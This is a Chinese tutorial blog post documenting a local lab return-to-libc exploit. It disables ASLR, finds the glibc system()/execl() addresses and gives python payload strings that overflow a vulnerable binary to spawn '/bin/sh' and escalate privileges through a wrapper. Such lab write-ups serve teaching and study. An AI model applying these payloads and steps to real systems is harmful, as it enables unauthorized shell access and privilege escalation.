您的位置:首页 > 其它

不可执行内存页保护攻击--return to libc attack

2015-10-24 11:39 375 查看
@1. 基本思路

    控制eip使程序流程流向glibc函数,而不是shellcode所在的堆栈上。system(),exit()……

@2. 规划如下:

                缓冲区  --> 溢出

                ebp     --> 溢出

                eip     --> system()地址

                vars    --> 填充内容(一般是4个字节,作为system()返回之后的eip)

                        --> '/bin/sh'

@3. write vuln2.c and compile it with order 'gcc -mpreferred-stack-boundary=2 -fno-stack-protector -o viln2 vuln2.c '  去掉"-z execstack"是加上堆栈不可执行。

@4. 关闭地址随机化,echo 0 > /proc/sys/kernel/randomize_va_space

@5. find where is glibc's system() and where is "/bin/sh"

    在gdb里面寻找: (gdb) print system

                    $1 = {<text variable, no debug info>} 0xb7e52260 <__libc_system>

    使用程序search.c寻找:

                    编译search.c出错:在函数‘main’中:

                        search.c:(.text+0x6e):对‘dlopen’未定义的引用

                        search.c:(.text+0x8a):对‘dlsym’未定义的引用

                        search.c:(.text+0xc5):对‘dlsym’未定义的引用

                        collect2: error: ld returned 1 exit status

                    问题描述:Undefined reference to 错误:这类错误是在连接过程中出现的,可能有两种原因∶一是使用者自己定义的函数或者全局变量所在源代码文件,没有被编译、连接,或者干脆还没有定义,这 需要使用者根据实际情况修改源程序,给出全局变量或者函数的定义体;二是未定义的符号是一个标准的库函数,在源程序中使用了该库函数,而连接过程中还没有 给定相应的函数库的名称,或者是该档案库的目录名称有问题.

                    解决:gcc -o search search.c -ldl (-lm)

                    result:

                        system() found at b7e51260

                        exit() found at b7e437f0

                        "/bin/sh" found at b7f79b98

@6. 构造溢出串。

    结果中的地址都小了0x1000

    ./vuln2 `python -c "print 'A'*11+'\x60\x22\xe5\xb7'+'\xf0\x47\xe4\xb7'+'\x98\xab\xf7\xb7'"`

@7. 提升权限。

    本地高权限程序wrapper.c,利用漏洞调用本地高权限程序即可提升权限。

    #1. 编写wrapper.c

    #2. execl('./wrapper', './wrapper', NULL)

        因此,需要找到execl()的地址、"./wrapper"地址(环境变量)、printf()地址,"%3\$n地址(环境变量).

    #3.gdb

        print printf

        $1 = {<text variable, no debug info>} 0xb7e5f7d0 <__printf>

        

        print execl

        $2 = {<text variable, no debug info>} 0xb7ecbe40 <__GI_execl>

    #4.get_env.c  compiled file's name's length must be equal "vuln2"'s length(5)

    #5. store env_vars

        export FMTSTR="%3\$n"

        ./gtenv FMTSTR

            FMTSTR is located at 0xbffffa39

        export WRAPPER="./wrapper"

        ./gtenv WRAPPER

            WRAPPER is located at 0xbffffb1c

        ./gtenv NULL

            NULL is located at 0xbffffbfd

    #6. 构造假堆栈

            缓冲区  --> 溢出

            ebp     --> 溢出

            eip     --> printf()的地址

            ---     --> execl()的地址

            ---     --> "%3\$n"地址

            ---     --> "./wrapper"的地址

            ---     --> "./wrapper"的地址

            ---     --> paddings --> 该处使用了一个环境变量NULL的地址(在上面有列出)

        ./vuln2 `python -c "print 'A'*11+'\xd0\xf7\xe5\xb7'+'\x40\xbe\xec\xb7'+'\x39\xfa\xff\xbf'+'\x1c\xfb\xff\xbf'*2+'\xfd\xfb\xff\xbf'"`

    #7.反思,只要使用NULL环境变量给execl()提供最偶一个参数就可以了。

./vuln2 `python -c "print 'A'*11+'\x40\xbe\xec\xb7'+'BBBB'+'\x1c\xfb\xff\xbf'*2+'\xfd\xfb\xff\xbf'"`
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: